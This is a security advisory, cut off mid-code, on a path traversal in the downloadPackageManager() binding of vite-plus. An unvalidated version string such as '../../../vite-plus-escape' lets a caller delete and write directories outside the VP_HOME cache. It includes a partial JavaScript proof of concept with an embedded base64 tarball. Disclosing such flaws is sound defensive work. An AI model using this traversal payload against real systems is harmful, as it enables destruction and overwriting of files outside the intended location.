GHSA-33r3-4whc-44c2

### Summary `downloadPackageManager()` in `vite-plus/binding` accepts an untrusted `version` string and uses it directly in filesystem paths. A caller can supply `../` segments to escape the `VP_HOME/package_manager/<pm>/` cache root and cause Vite+ to delete, replace, and populate directories outside the intended cache location. ### Details The public `vite-plus/binding` export `downloadPackageManager()` forwards `options.version` directly into the Rust package-manager download flow without validating that it is a normal semver version. That value is used as a path component when building the install location under `VP_HOME`. After the package is downloaded and extracted, Vite+: 1. computes the final target directory from the raw `version` string, 2. removes any pre-existing directory at that target, 3. renames the extracted package into that location, and 4. writes executable shim files there. Because the CLI validates versions via `semver::Version::parse()` before calling this code, the protection that exists for normal `vp create`, `vp migrate`, and `vp env` flows does not apply to direct callers of the binding. A programmatic caller of `vite-plus/binding` can pass traversal strings such as `../../../escaped` and break out of `VP_HOME`. ### PoC ```js import fs from "node:fs"; import http from "node:http"; import os from "node:os"; import path from "node:path"; import { downloadPackageManager } from "vite-plus/binding"; const tgz = Buffer.from( "H4sIAH/B1GkC/+3NsQqDMBjE8W/uU4hTXUwU0/dJg0irTYLR9zftUnCWQvH/W+645aJ1ox16dX94FX181e6Z5GA6u3XdJ7N9at223/7em8YYI4WWH1jTYud8L+fkgk9h6uspDNcyjGV1EQAAAAAAAAAAAAAAAADAH9gAb+vJ9QAoAAA=", "base64", ); const vpHome = fs.mkdtempSync(path.join(os.tmpdir(), "vp-home-")); const version = "../../../vite-plus-escape"; const escapedRoot = path.resolve(vpHome, "package_manager", "pnpm", version); const escapedInstallDir = path.join(escapedRoot, "pnpm"); process.env.VP_HOME = vpHome; const server = http.createServer((req, re